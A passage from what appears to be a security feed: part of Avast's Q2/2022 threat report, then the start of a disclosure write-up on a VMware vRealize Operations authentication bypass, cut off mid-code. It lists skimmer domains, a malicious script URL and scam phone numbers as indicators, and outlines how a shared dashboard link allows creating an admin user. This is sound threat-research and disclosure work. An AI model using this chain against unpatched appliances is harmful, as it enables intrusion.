The common denominator for both countries is Revizer adware, which is usually dropped by other malware or free applications. Revizer adware monitors users’ actions on specific sites and updates their content without users’ consent or permission. The adware typically injects unwanted banners on websites the victim visits, rewrites the default home page of browsers, and defines web page text being updated to hyperlinks that lead to unwanted or malicious content.

As in Q1/2022, 65% of adware we saw was from various adware families. The clearly identified strains of Windows adware are: RelevantKnowledge, Cryxos, OpenCandy, MultiPlug, Revizer, and ICLoader. The most viewed adware for MacOS are as follows: MacOS:Bundlore, MacOS:Adload, MacOS:Spigot, MacOS:MaxOfferDeal.

Martin Chlumecký, Malware Researcher
Vladimír Žalud, Malware Analyst

Bots

Emotet developers are keeping up with the times and, as many other projects do, started supporting the 64-bit architecture. Emotet’s 32-bit binaries are no longer distributed. There have also been some minor changes in their backend workflow. While previously, we could have expected to receive the fingerprinting module only once, just after the registration, we are receiving it with every request now. The module’s distribution has also changed a bit. In the past, we would see a new file size quite regularly, now the file size seems to remain stable. However, Emotet samples themselves have gotten bigger, after having a quick look, this was due to Nirsoft’s Mail PassView being included in these new samples.

Perhaps the most noticeable change in botnet behavior was spurred by Microsoft’s announcement that it will be significantly harder to execute VBA macros in documents downloaded from the internet. Since malicious documents are one of the most popular infection vectors, spambots had to react. We have already observed cybercriminals using alternative attack vectors, such as LNK files linking to malicious resources on the internet. Some of the new substitutes are rather unusual. For example, ISO and IMG files are usually images of optical discs and hard drives (or SSDs), but they are now being used as archives instead. Newer versions of Microsoft Windows provide a native way of mounting these images. They have therefore become a viable alternative to maldocs. There are also a few added benefits to using ISO images, such as using hidden files so they can, for instance, use LNK files without needing to rely on remote resources.

In Q2/2022, authorities from the United States, Germany, the Netherlands, and the United Kingdom claim to have dismantled the RSOCKS botnet. This botnet consisted of millions of hacked devices that were rented as proxies to anyone wanting to route their traffic through these devices. Only the botnet was disrupted, so the owner may still try to rebrand and relaunch his/her operation. This theory is supported by a post from Rsocks account on BlackHatWorld forum that informs about RSocks’ end of existence and about a transfer of all active plans, and fund balances to another service which is yet to be announced.

While the development of many botnets was rather turbulent, the landscape itself and the risk ratio remained rather stable. The most significant increase in risk ratio was in Brazil, where users had an approximately 35% higher chance of encountering this kind of malware attack compared to Q1/2022. In contrast to the previous quarter, the risk ratio has almost stabilized in Russia and Ukraine.

In terms of the war in Ukraine, we are still seeing attacks associated with the conflict, usually as a retaliatory action; for instance, attacks targeting Lithuanian infrastructure after imposing a partial goods blockade on Kaliningrad. On the other hand, we have observed a decline in websites that include code to use site visitors’ computers to carry out DDoS on Russian infrastructure. Nevertheless, it is still too soon to declare complete “professionalization” of attacks. After the aforementioned attacks on the Lithuanian infrastructure, It should not be much of a surprise that Ukrainian Telegram channels organizing cyber-vigilantes are also still active and new DDoS target lists are being distributed.

Graph showing users (globally) Avast protected from botnet attacks in Q1/2022 vs. Q2/2022
Map showing global risk ratio for botnets in Q2/2022

We have seen a significant decline in several botnet showrunners, notably Emotet, Phorpiex, Ursnif, and MyloBot. On the other hand, Qakbot, SDBot, and Amadey have seen rather significant increases in their market share. The most common bots we are seeing are:

  • Emotet
  • Amadey
  • Phorpiex
  • MyKings
  • Qakbot
  • Nitol
  • Tofsee

Adolf Středa, Malware Researcher

Coinminers

With the energy crisis on our shoulders and electricity bills reaching new heights, coinminers can cause more harm than ever before. Fortunately, in comparison to the previous quarter, there was quite a big decline in the overall coinmining activities during Q2/2022, -17% of risk ratio in total. This is further underlined by the fact that cryptocurrencies are at their long term lows, turning the return of investment less attractive for the attackers.

Graph showing users (globally) Avast protected from coinmining in Q2/2022

Even though the number of overall attacks decreased, we did observe users in some countries being targeted more than others, including Madagascar with a 9.12% risk ratio (+57% Q2/2022 vs. Q1/2022). Based on our telemetry, this is due to the increased NeoScrypt activity in the region. The second most impacted country is Serbia with a 7.16% risk ratio (+25% Q2/2022 vs. Q1/2022) where we saw web miners used more often.

Map showing global risk ratio for coinminer attacks in Q2/2022

The leading trend continues to be web miners. These miners are commonly used as a substitute, or on top of ads on websites, to further monetize site owners’ profits, and are usually completely hidden and run without any users’ consent.

The notorious XMRig is still leading the murky waters of executable miners, being it used as a standalone application or ultimately hidden as the final payload of the vast constellation of droppers, mining worms, or configured as a dedicated module of information stealers and other monetary-focused malware.

The most common coinminers in Q2/2022 were:

  • Web miners (various strains)
  • XMRig
  • CoinBitMiner
  • NeoScrypt
  • CoinHelper

At this point, we would like to remind our readers about the distinction between mining tools and mining malware. If you are interested in learning the difference between the two, please read our guidelines.

Jan Rubín, Malware Researcher

Information Stealers

Two important things happened in Q2/2022: The first is the shutdown of Zloader at the end of March. The second is the release of the version 2.0 of Raccoon Stealer in May. 

Despite this, Q2/2022 didn’t bring much change in the overall numbers. The trend is just slightly increasing, following the previous quarter.

Graph showing users (globally) Avast protected from information stealers in Q1/2022 and Q2/2022

Targeted regions also didn’t change much, the number of users we protected in countries around the world only changed slightly compared to the previous quarter. The only notable change happened in Angola, where the risk ratio dropped (-18%) mostly due to a decline in Fareit infections.

Map showing global risk ratio for information stealers in Q2/2022

The most common information stealers in Q2/2022 were:

  • FormBook
  • Lokibot
  • AgentTesla
  • Fareit
  • RedLine
  • VIPSpace

Return of Raccoon Stealer

Raccoon Stealer is a popular information stealer that has been around since 2019. It is capable of stealing various data, including cookies, and cryptowallet files. The actors behind Raccoon Stealer use the Telegram infrastructure to deliver actual C&C addresses to bots. You can read our in-depth technical analysis of Raccoon Stealer here.

In March 2022, the development and spreading of Raccoon Stealer was paused: a team member allegedly died during the war in Ukraine:

However, we started to see new samples of Raccoon Stealer in May 2022, indicating the beginning of the group’s new era. Shortly after, in late June 2022, the group made an announcement that Raccoon Stealer 2.0 is ready and released and that the group is back in business.

Interestingly, the new version is much simpler and smaller. The malware’s authors didn’t use any traffic encryption, C&Cs are hardcoded in the samples, responses from C&C servers are no longer in JSON format, and more features that were included in version 1.0 are missing.

Zloader Shutdown

Zloader was an infamous banker with a wide range of capabilities: it was able to download and execute other malware, steal cookies and cryptowallet files. It was also able to inject arbitrary code in HTML pages to steal money from online banking systems. 

Our mission is to protect digital freedom, and in order to do so, we need to go after the bad guys who threaten that freedom. At the end of March 2022, after months of cooperating with Microsoft and other major players from the security industry, our analysis of Zloader played a role in taking down the Zloader infrastructure. A Zloader team member was also identified as a result of the investigations. We haven’t seen any new Zloader C&C activities since. 

During our analysis of Zloader, we discovered links to other malware: Raccoon Stealer and Ursnif. Two out of three Zloader download tasks contained links to Raccoon Stealer, they used the same configuration. Furthermore, Raccoon Stealer was mentioned in an analysis published by Checkpoint before we received commands from C&Cs, which included links to Raccoon Stealer. A bigger surprise to us was when we found Zloader samples and Ursnif samples signed with the same digital signature. This leads us to believe that the group behind Zloader is either working with the groups behind Raccoon Stealer and Ursnif or purchased and applied their products.

Jan Rubín, Malware Researcher
Vladimir Martyanov, Malware Researcher

Ransomware

For those who read our previous Threat Reports (Q1/2022, Q4/2021, etc.), you may recall that the volume of ransomware attacks had been declining over the past few quarters. This was most likely a result of several busts and takedowns, Russian officials persecuting ransomware-gangs, and other impactful actions carried out by law enforcement. The bad news is that this is no longer the case in Q2/2022. We’ve witnessed a significant increase of ransomware attacks: +24% globally compared to Q1/2022. Clearly, ransomware is not going away this year.

Graph showing users (globally) Avast protected from ransomware in Q1/2022 and Q2/2022

The countries in which users are most at risk of encountering ransomware are:

  • Yemen (0.53% risk ratio)
  • Egypt (0.41%)
  • Algeria (0.37%)
  • Vietnam (0.32%)
Map showing global risk ratio for ransomware in Q2/2022

The highest Q/Q increases in ransomware risk ratio occurred in Argentina (+56%), UK (+55%), Brazil (+50%), France (+42%), and India (+37%).

The most prevalent ransomware samples in Q2/2022 were:

  • STOP
  • WannaCry
  • Conti (and its successors)
  • Lockbit
  • Thanatos
  • HiddenTear variants
  • CrySiS
  • Cryakl

It’s well known that the ransomware business is based on blackmailing – the cybercriminals render data inaccessible in the hopes that victims pay to get their data back. The process, however, is, unfortunately, not that straightforward. According to a recent survey conducted by Venafi, 35% of victims paid the ransom, but were still unable to retrieve their data. This is a good reminder that there is no guarantee that upon paying the ransom, victims get their data back. Please, backup your data regularly – so that if you fall for ransomware, you are not pressured into paying a ransom fee to get your data back!

To protect your computer or company’s network even further, make sure you regularly update your PC – the operating system, your antivirus, and even the applications you are using. According to our fellow security researchers at Group-IB, ransomware gangs are relying on existing vulnerabilities more and more, exploiting them to get their ransomware onto devices. According to the joint report by Cyber Security Works, Securin, Cyware and Ivanti, there was a 6.8% increase in vulnerabilities actively exploited by ransomware (Q1/2022 vs. Q4/2021), and there are now 157 vulnerabilities actively being exploited by ransomware operators. 

Luckily, ransomware developers are humans too, so they can make mistakes when developing their “products”. One such example is the TaRRaK ransomware which we successfully analyzed, and found a weakness in its encryption schema. This allowed us to release a free decryption tool for the ransomware in June.

Related to the same topic, a legitimate company can improve its product by announcing a bug bounty – an open contest, challenging everyone to find bugs in its product and giving rewards for it. Ransomware developers do the same. The authors of LockBit 3.0 announced a bug-bounty challenge, paying for bugs found in their website, encryption and even paying people who deliver good ideas to the ransomware gang.

On the bright side, the operators behind the AstraLocker ransomware announced that they are shutting down their business and moving on to the area of crypto-jacking. As part of the shutdown, a ZIP file with decryptors was published. Anyone who fell victim to this ransomware in the past, can therefore now decrypt their data without paying the ransom.

In our previous report, we described the latest development around the Sodinokibi / REvil ransomware. After the arrest of some of the gang members at the end of 2021, and the decline of the ransomware samples, things changed a bit  in Q2/2022. On April 7th, Russian news agency TASS reported that “Washington announced that it unilaterally shut down the communication channel on cybersecurity with Moscow”. Shortly after this, on April 19th, REvil’s TOR sites were back online and a new ransomware operation began. Two weeks later, new ransomware samples started to appear. It seemed that REvil was back at that moment, but luckily pretty much nothing related to REvil has happened since. Let’s hope it will stay the same.

But Sodinokibi/REvil was not the only ransomware group with ties to Russia…

Conti

The first public mention of victims of the new Conti ransomware dates back to 2019. However, it was not entirely new, it was a continuation of the Ryuk ransomware from 2018, which had ties to the Hermes ransomware from 2017. Over time, Conti transformed from a small ransomware group to a ransomware syndicate, and it was in the news spotlight many times in Q2/2022

We’ve previously reported about a breach of Conti’s infrastructure by a Ukrainian security researcher leading to a leak of their source-codes and internal communications. Conti, which collected more than 150 million USD in ransom, as of January 2022, based on estimates from the US Department of State, resumed its operations and continued targeting dozens of organizations. Moreover, in Q2/2022, Conti targeted 27 Costa Rican government bodies in Q2/2022, causing the country to declare a national state of emergency. A second wave of attacks targeting the country’s healthcare was carried out using HIVE, a ransomware-as-a-service which Conti has ties to. Our telemetry reveals Costa Rica as the fourth highest country in terms of risk ratio (+101% increase, compared to Q1/2022). 

Conti’s resurrection was short-lived, and ended in June when their operations were shut down by its authors. We believe it was a result of multiple factors, including the aforementioned leak, unwanted attention, revealed connection to Russia, and complications with victim payments, because these may be violating U.S. economic sanctions on Russia.

Unfortunately, the end of one malware threat rarely means peace and quiet, and this especially applies to ransomware. The end of the Conti syndicate may lead to hundreds of cybercriminals moving to work with other groups, such as Hive, BlackCat, or Quantum, or them working on new ransomware “brands”, e.g. Black Basta or Karakurt. Let’s see how the Conti story will continue in Q3/2022…

Jakub Křoustek, Malware Research Director
Ladislav Zezula, Malware Researcher

Remote Access Trojans (RATs)

Same year, new quarter and similar level of RAT activity. This quarter’s RAT activity was inline with what we are used to seeing, although spiced up by the appearance of some previously unseen RATs. We can speculate that the activity is going to slightly decrease in the summer.

Graph showing users (globally) Avast protected from RATs in Q1/2022 and Q2/2022

The most affected countries in Q2/2022 were Papua New Guinea, Yemen and Turkmenistan. There was a drop in RAT activity in countries involved in the ongoing war in Ukraine, with risk ratios dropping by -26% in the Ukraine, compared to Q1/2022, and -43% in Russia, and -33% in Belarus. This might suggest a bit of slowing down after the initial wave of attacks we reported in our last report. On the other hand, we’ve seen a huge increase in RAT attacks in Japan (+63%), due to AsyncRat, and in Germany (+28%), mainly due to Netwire.

Map showing global risk ratio for RATs in Q2/2022

The most prevalent RATs based on our telemetry in this quarter were:

  • njRAT
  • Warzone
  • AsyncRat
  • Remcos
  • NanoCore
  • NetWire
  • HWorm
  • QuasarRAT
  • LuminosityLink
  • FlawedAmmyy

While njRAT and Warzone are steadily leading the bunch, there has been a change in the third spot. AsyncRat moved up by one place. One of the reasons for this change might be because the Follina vulnerability (CVE 2022-30190) was used to distribute this RAT, as we reported in June.

Other RATs whose prevalence increased considerably in Q2/2022:

  • BlackNix
  • VanillaRAT
  • HWorm
  • Borat

HWorm is a RAT written in JavaScript, we saw a big increase in detections, causing the RAT to make it into the top 10 most prevalent RATs this quarter. HWorm was mostly active in Africa and Central Asia.

The Borat RAT, which appeared in Q1/2022, is steadily gaining a foothold amongst its competition. It made the news again when its source code leaked. It turned out it was a decompiled code and not the original source code, nevertheless this leak might still lead to derivatives appearing.

In May, we tweeted about a campaign targeting Unicredit bank in Italy which made use of a slightly modified version of HorusEyes. HorusEyes is a RAT, publicly available on GitHub.

In our Q1/2022 report, we closed our RAT section mentioning two new RATs written in Go. In Q2/2022, there was at least one new addition, the Nerbian RAT. Nerbian is usually delivered via phishing emails with Microsoft Office attachments containing macros. The macro executes a downloader, which deploys the RAT payload on victims’ computers. The set of features included is fairly common as you would expect in a modern RAT, including logging keystrokes, capturing screen etc.

We have also spotted malware which seems to be a crossover between a bot and a RAT named MSIL/Bobik, being used to carry out DDoS attacks. Its features also include manipulating files and exfiltrating them from victim systems, deploying additional malware, stealing credentials etc. We tweeted some of its targets, which seem to be pro Ukraine targeting companies and governments supporting Ukraine.

APT group GALLIUM, likely a Chinese state-sponsored group, was seen using a new remote access trojan named PingPull as reported by Palo Alto Networks Unit 42. PingPull can make use of three protocols to facilitate communication with its command and control server (ICMP, HTTP, and raw TCP). It tries to hide as “Iph1psvc” service mimicking the legitimate IP Helper service, including taking on its name and description. The functions available include manipulating files, enumerating drives and running commands on victim system.

At the end of June, we observed a new campaign delivering the AgentTesla RAT to potential victims in Czech Republic and Hungary, using phishing emails as an entry point. The emails claim confirmation of an unspecified check is needed, referring to a previous phone call (that never happened) in order to trick recipients into opening the attachment.

There was another piece of news regarding AgentTesla: A group of three suspected global scammers from Nigeria were arrested according to INTERPOL. They used AgentTesla to access business computers and divert monetary transactions to their own accounts.

The last days of this quarter brought news of ZuoRAT targeting SOHO routers, as reported by Lumen. This RAT allows attackers to pivot into the local network and to make connected devices install additional malware.

Ondřej Mokoš, Malware Researcher

Rootkits

In Q2/2022, rootkit activity remained on the same level as the previous quarter, as illustrated in the chart below. A little surprise is a relatively stable trend this quarter, despite the many campaigns that we have observed, as campaigns usually cause peaks in trends.

Graph showing users (globally) Avast protected from rootkits in Q4/2021, Q1/2022, and Q2/2022

In our previous quarterly report, we introduced the rising trend of r77-Rootkit (R77RK), representing 37% of all identified rootkits. This trend continued in Q2/2022, and R77RK represented more than 57% of the rootkits we detected. We also monitored the activity of R77RK in its GitHub repository, and it is evident that the rootkit development is still active within several new branches. Consequently, R77RK has become the major rootkit since its trend copies the overall rootkit trend in Q2/2022, as the graph below demonstrates.

Users (globally) Avast protected from rootkits in Q2/2022 vs. users (globally) Avast protected from the R77Rootkit in Q2/2022

This phenomenon can explain the stable trend, as integrating R77RK into any malware is easy thanks to the excellent rootkit documentation. Therefore, malware authors have started to abuse this rootkit more frequently.

The map below animates that China is still the most at-risk country in terms of all the users we protected from rootkits in general, and R77RK has spread to South America, Africa, East Europe, and Southwest Asia.

Map showing global risk ratio for rootkits in Q2/2022 vs. global risk ratio for R77Rootkit in Q2/2022


In comparison to Q1/2022, the risk ratio has increased for users in the following countries: Brazil, Ukraine, Colombia, and Italy. On the other hand, the risk ratio decreased for users in Taiwan, Malaysia, and China.

In summary, China remains the country in which users have the highest risk of encountering a rootkit, and the activity seems uniform due to the increasing dominance of R77RK. We will have to wait till Q3/2022 to see whether or not R77RK is still the most prevalent rootkit in the wild.

We also published an analysis of a new evasive Linux malware known as Syslogk we discovered. Even if other open source kernel rootkits (e.g. Reptile) are clearly more prevalent Linux threats, we noticed that more stealthy Linux malware is being developed (e.g. Symbiote and OrBit). Let’s see if cybercriminals will continue to target Linux servers next quarter.

Martin Chlumecký, Malware Researcher
David Àlvarez, Malware Researcher

Technical support scams

It appears the scammers behind tech support scams (TSS) are taking a break to enjoy the summer weather, as there were no big spikes in TSS activity in Q2/2022. In May, we saw a 12% drop in comparison to the previous month. This drop can be  partially due to the INTERPOL operation against social engineering scammers. According to the report, many call centers worldwide were raided by the police in an attempt to clampdown on organized crime.

Graph showing users (globally) Avast protected from tech support scams in Q2/2022

The top affected countries are still the same as in Q1/2022, but it looks like there was a slight increase in TSS activity in risk ratio in Japan (+2,35%) as well as Germany (+0,98%) in Q2/2022, compared to Q1/2022

Map showing global risk ratio for tech support scams in Q2/2022
Screenshot of a prevalent TSS targeting users in Japan

In Q2/2022, we registered hundreds of unique telephone numbers used in TSS scams. Here are the top 20 phone numbers:

1-888-845-1636 1-833-987-2752
1-888-520-2539 1-888-788-7144
1-855-568-2875 1-888-909-8613
1-888-731-1647 1-866-498-0028
1-888-503-8316 1-844-563-1918
1-888-474-3849 1-855-568-2877
1-855-485-2901 1-844-697-0039
1-866-603-0648 1-888-608-2514
1-844-793-8999 1-844-580-1408
1-888-660-0513 1-855-484-1999

Alexej Savčin, Malware Analyst

Vulnerabilities and Exploits

Q2/2022 surprised us with the return of Candiru. This notorious spyware vendor came back with an updated toolset and fresh zero-day exploits. We managed to capture two zero-days used by Candiru, and discovered evidence suggesting that they have at least one more zero-day at their disposal. 

The first zero-day we found abused a bug in WebRTC (CVE-2022-2294) and was exploited to attack Google Chrome users in highly targeted watering hole attacks. As the bug was located in WebRTC, it affected not only Google Chrome, but also many other browsers. As a result, Google, Microsoft, and Apple all had to patch their respective browsers. This WebRTC vulnerability allowed Candiru to achieve remote code execution (RCE) in a sandboxed renderer process. A second zero-day exploit was needed to escape the sandbox. Unfortunately, Candiru was serious about protecting its zero-days against threat hunters like us, so the nature of the sandbox escape exploit remains a mystery for now. 

A third zero-day that Candiru exploited to get into the Windows kernel, on the other hand, did not remain a mystery to us. This was a vulnerability in a third-party signed driver that Candiru smuggled onto their target’s machine, BYOVD style. This vulnerability was a textbook example of a common vulnerability class, where a driver exposes IOCTLs that let attackers directly access physical memory.

In other vulnerability news, the Follina zero-day (discovered in the wild by nao_sec in May) was widely exploited by all kinds of attackers, ranging from common opportunistic cybercriminals to Russia-linked APTs operating in Ukraine. Interestingly, we also discovered an outbreak of Follina targeting Palau, an enchanting tiny archipelago in Micronesia. 

Follina remained unpatched for quite a while which, combined with the ease of exploitation, made it a very serious threat. Follina was mostly exploited through Microsoft Office documents, where it could execute arbitrary code even without the victim having to enable macros. This relates to another factor that might have contributed to Follina’s popularity: Microsoft’s decision to block macros by default. While Microsoft seemed to be unsure about this decision, rolling it back shortly after announcing because of “user feedback”, the latest decision is to block macros from untrusted sources by default. We hope it stays that way.

The most frequently used exploit for MacOS was MacOS:CVE-2019-6225 in Q2/2022. This memory corruption issue was available for MacOS, iOS, and tvOS and malware strains were using those to elevate privileges. Furthermore, MacOS:CVE-2022-26766 was also prevalent as it was available for tvOS, iOS iPadOS, macOS, and watchOS. The software did not validate a certificate. Malicious apps were thus able to bypass signature validation.

Jan Vojtěšek, Malware Reseracher

Web skimming 

In Q2/2022 we observed several malicious domains that served skimmer code for months without being taken down. For example, we have been detecting fraudlabpros[.]at since February 2022 and it is still active and serving heavily obfuscated malicious skimmer code.

The code below was found on the infected e-commerce site pricelulu[.]co[.]uk. Malicious actors continuously use the same technique: They pretend to load a script from googletagmanager.com, but instead malicious Javascript from //fraudlabpros[.]at/jquery.min.js?hash=a7214c982403084a1681dd6 is loaded.

Another domain that is still active and has been used since at least February is segtic[.]com, it resolves to IP 54.39.48.95 from 2020-09-29. It is connected to jqueryllc[.]net that was used in malicious code as an exfiltration domain for payment details.

The most common content detection in Q2/2022 was a skimmer that mostly attacks Magento websites. This skimmer exploits compromised third party websites to exfiltrate payment details. The pattern for exfiltration details was the same every time – <breached_website>/pub/health_check.php. In some cases the skimmer was simple 50 line code, in other cases, the skimmer inserted its own payment form on the compromised website and the payment details were custom encoded before exfiltration.

Map showing global risk ratio for web skimming in Q2/2022

This quarter,  we saw an increase in web skimmer activity in Serbia, caused by the malicious domain yoursafepayments[.]com, which infected the e-commerce website planetbike[.]rs. The malicious domain is the same one used in the attack on Philco Brazil in February that we tweeted about. Several e-commerce websites around the world have been infected with this malicious domain and attackers have also used other filenames that contain malicious code (des.css, back.css, text.css, s.css), not just fonts.css.

Overall, web skimming attacks are still prevalent and in many cases they remain on infected websites for a long time.

Pavlína Kopecká, Malware Analyst

Mobile Threats

Adware

As with last quarter, adware clearly dominates the mobile threat landscape, as has been the case for the last few years. While not necessarily as malicious as other Android threats, adware has a significant negative impact on the user experience with intrusive advertisements that can permeate the entire device, often paired with stealth features to avoid discovery.

Strains such as HiddenAds and FakeAdblockers use overlays that go on top of the user’s intended activity, creating pop ups that hassle and frustrate the user when using the infected device. Another common feature used in strains such as MobiDash is to delay adware activity by several days to fool the user into thinking it may be caused by another app. Coupled with stealth features such as hiding their own app icon and name, the Adware’s may become fairly difficult for the user to identify.

While the Google Play Store has been a favorite method of delivery, repackaged games and applications are increasingly being bundled with adware. Users are advised to avoid unofficial app sources to prevent adware infection, and to check reviews as well as permissions on official app stores. Adware is often disguised as games, QR code scanners, camera filters and photo editing apps among others.

Asia, the Middle East, and South America continue to be the regions most affected by mobile adware, as shown in the map below. Brazil, India, Argentina, and Mexico hold the top spots, however we saw a 33% decrease in protected users on average when compared to last quarter in these countries. On the other hand, the US holds fifth place where we see a 15% uptick in protected users. Despite these shifts, adware is and continues to be a persistent threat and annoyance to users worldwide.

Map showing global risk ratio for mobile adware in Q2/2022

Bankers

Q2/2022 was eventful in the mobile banker malware domain. While Cerberus/Alien holds the top spot for most users protected, Hydra has again been surpassed by Flubot for second place. This is despite the news that the Flubot group has been disbanded by Europol in May. Avast observed a large SMS phishing campaign in several European countries just prior to the takedown. It remains to be seen what effect Flubot’s takedown will have on the overall Banker sphere.

Infection vectors for bankers appear to remain largely the same, relying on fake delivery messages, voicemails and similar. These masquerading techniques appear to yield results as reflected in the continuously high numbers of protected users. Unfortunately, we have observed that infected devices are often used to further spread banker malware via SMS and other messaging services, contributing to the high numbers.

Taking into account Flubot’s takedown in May, as well as other disruptions to its spread in last quarter, we see a steady decrease in the number of protected users from last quarter. We have dipped below the numbers prior to Flubot’s entry into the market back in April 2021.

Graph showing users (globally) Avast protected from mobile bankers in Q1/2021-Q2/2022

In Q2/2022 Spain, Turkey and Australia are again the most targeted markets, as has been the case for several quarters now, despite an average of 24% less protected users when compared to last quarter. Interestingly, France and Japan are also among the top affected countries, where despite the downward trend of banker attacks, we see a 12% increase in protected users.

Map showing global risk ratio for mobile bankers in Q2/2022

TrojanSMS

As reported in Q1/2022, a new wave of premium subscription-related scams was unleashed on Android users. UltimaSMS, GriftHorse and Darkherring malware strains caused significant hassle and financial losses to users worldwide. Continuing the trend of SMS focused malware, we are seeing a big uptick in users protected from a newly discovered strain of TrojanSMS, SMSFactory, taking the top spot in Q2/2022, followed by DarkHerring.

SMSFactory takes a different approach when compared to the previous premium SMS subscription malwares. Instead of subscribing victims to premium services, it sends SMS messages to premium numbers to extract money from its victims. Unlike UltimaSMS or others that used the Play Store as an infection vector, SMSFactory is spreading through pop ups, redirects and fake app stores. It has gathered a considerable number of victims in a short span of time. With its stealth features, such as hiding its icon and not having an app name, it may prove difficult to identify and remove, causing havoc on the victim’s phone bill.

There is a notable shift in focus, mainly due to SMSFactory’s worldwide spread. Brazil, Russia and Germany have the highest number of protected users, while Iraq, Azerbaijan and Haiti have the highest risk numbers. It is clear SMSFactory takes a different and effective approach to its spread and it is reflected in the high numbers of protected users.

Map showing global risk ratio for mobile TrojanSMS in Q2/2022

The quarterly Q2/2022 graph shows a steady increase, mainly due to SMSFactory and its new versions popping up later in the quarter. We expect this trend to continue into the next quarter.

Graph showing users (globally) Avast protected from mobile Trojan SMS in Q2/2022

Jakub Vávra, Malware Analyst

Acknowledgements / Credits

Malware researchers

Adolf Středa
Alexej Savčin
David Álvarez
Igor Morgenstern
Jakub Křoustek
Jakub Vávra
Jan Holman
Jan Rubín
Jan Vojtěšek
Ladislav Zezula
Luigino Camastra
Martin Chlumecký 
Ondřej Mokoš
Pavlína Kopecká
Vladimir Martyanov
Vladimír Žalud

Data analysts
  • Pavol Plaskoň
Communications
  • Stefanie Smith

The post Avast Q2/2022 Threat Report appeared first on Avast Threat Labs.

From Shared Dash to Root Bash :: Pre-Authenticated RCE in VMWare vRealize Operations Manager

9 August 2022 at 14:00

vROps

On May 27th, I reported a handful of security vulnerabilities to VMWare impacting their vRealize Operations Management Suite (vROps) appliance. In this blog post I will discuss some of the vulnerabilities I found, the motivation behind finding such vulnerabilities and how companies can protect themselves. The result of the research project concludes with a pre-authenticated remote root exploit chain using seemingly weak vulnerabilities. VMware released an advisory and patched these vulnerabilities in VMSA-2022-0022.

vROps attack flow

Motivation

This project was motivated by the excellent blog post that Egor wrote titled Catching bugs in VMware: Carbon Black Cloud Workload Appliance and vRealize Operations Manager. Egor used a pre-authenticated SSRF to leak the highly privileged credentials and then chained it with an arbitrary file upload vulnerability to gain remote code execution as admin.

As always, it provides a real challenge to find high impact web vulnerabilities against a target that had been previously audited by other security researchers.

Tested Versions

The vulnerable version at the time of testing was 8.6.3.19682901 which was the latest and deployed using the vRealize-Operations-Manager-Appliance-8.6.3.19682901_OVF10.ova (sha1: 4637b6385db4fbee6b1150605087197f8d03ba00) file. It was released on the 28th of April 2022 according to the release notes. This was a Photon OS Linux deployment designed for the cloud.

I also tested an older version - 8.6.2.19081814 using the vRealize-Operations-Manager-Appliance-8.6.2.19081814_OVF10.ova (sha1: 0363f4304e4661dde0607a3d22b4fb149d8a10a4) file and confirmed that the vulnerabilities also exist in this version. The final exploit I wrote works on both versions and should work on anything in between!


MainPortalFilter ui Authentication Bypass (CVE-2022-31675)

  • CVSS: 5.6 (/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L)
  • Advisory: SRC-2022-0017

The first vulnerability is in the com.vmware.vcops.ui.util.MainPortalFilter class:

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest)servletRequest;
        HttpServletResponse response = (HttpServletResponse)servletResponse;
        HttpSession session = request.getSession();
        // ...
        String servletPath = request.getServletPath().toLowerCase();
        UserContext userContext = UserContextVariable.get();
        // ...
        if (servletPath != null && servletPath.toLowerCase().startsWith("/contentpack/dashboard_dump/")) {
            response.setStatus(400);
        } else {
            String token1 = request.getParameter("t"); // 1

            boolean isSaasModeUser;
            boolean isResourcePath;
            boolean ssoRequested;
            try {
                if (token1 != null) { // 2
                    isSaasModeUser = UserContextVariable.isAnonymousUser();
                    DashboardLink dashboardLink = DashboardShareAction.getDashboardPublicLink(token1, (String)null); // 3
                    if (userContext == null || dashboardLink == null || (isSaasModeUser || !userContext.getUserId().equals(dashboardLink.getUserId())) && (!isSaasModeUser || !userContext.getUserKey().equals(dashboardLink.getUserId()))) {
                        //...
                        if (dashboardLink != null) { // 4
                            if (isResourcePath) {
                                response.sendRedirect("dashboardViewer.action");
                                filterChain.doFilter(request, servletResponse);
                                return;
                            }

                            if (ssoRequested) {
                                this.doSessionResolve(request, response);
                            } else {
                                session.setAttribute("token1", token1);
                                session.setAttribute("allowExternalAccess", true);
                                response.setHeader("Set-Cookie", "JSESSIONID=" + session.getId() + "; Path=/ui; Secure; HttpOnly; SameSite=None");
                                response.sendRedirect("dashboardViewer.action?mainAction=dr");
                                filterChain.doFilter(request, servletResponse); // 5
                            }
                            // ...

At [1] the code looks for a t parameter from the incoming request and if found at [2] the code tries to find a DashboardLink instance with the code at [3]. Then if a valid DashboardLink was found at [4] the code reaches the doFilter at [5]. This allows an attacker with a valid dashboard link id to bypass authentication completely in the /ui/ struts frontend.

When an admin creates a dashboard link to share, an entry is created into the Cassandra database:

root@photon-machine [ ~ ]# /usr/lib/vmware-vcops/cassandra/apache-cassandra-3.11.11/bin/cqlsh.py --ssl --cqlshrc /usr/lib/vmware-vcops/user/conf/cassandra/cqlshrc
Connected to VROps Cluster at 127.0.0.1:9042.
[cqlsh 5.0.1 | Cassandra 3.11.11 | CQL spec 3.4.4 | Native protocol v4]
Use HELP for help.
vcops_user@cqlsh> select key from globalpersistence.dashboardpubliclinks;

 key
--------------------------
 vcgh5fgjhs_::_ns3d5yt5vk

(1 row)
vcops_user@cqlsh>

It’s common to create and share dashboard links, since it’s by design and even expected to be embedded in a page:

After accessing the link without a valid session, we can view the associated dashboard:

The interesting thing to note here, is that port 443 is supposed to be exposed because how else could dashboard links be shared?

Exploitation

It’s not possible to leak data directly using this vulnerability since the server responds with a 302 redirect. At first, I thought I was up against the chicken and egg problem where I can only fire off requests to endpoints to change data, but I couldn’t use CSRF tokens because I couldn’t read them back due to the redirect! Oh my! However, on careful inspection I noticed that I could create a user and omit the secureToken CSRF token. This is because the call to doFilter is hit on line 120, well before the call to checkSecureToken on line 345!

An additional advantage to this vulnerability is, that an attacker can link someone to a malicious website that can backdoor the application with an admin user. Putting it together though, I can backdoor the application with an admin user without interaction if I have a shared dashboard link. The user created is restricted to the /ui/ and /suite-api/ interfaces but I wanted access to the /admin/ interface because there exists a forever day remote code execution in this component by enabling SSH access.

It looks like we are going to have to hunt another vulnerability!

SupportLogAction Information Disclosure (CVE-2022-31674)

  • CVSS: 6.5 (/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
  • Advisory: SRC-2022-0019

Inside of the com.vmware.vcops.ui.action.SupportLogsAction class we find the following entry:

                if (this.mainAction.equals("getLogFileContents")) { // 1
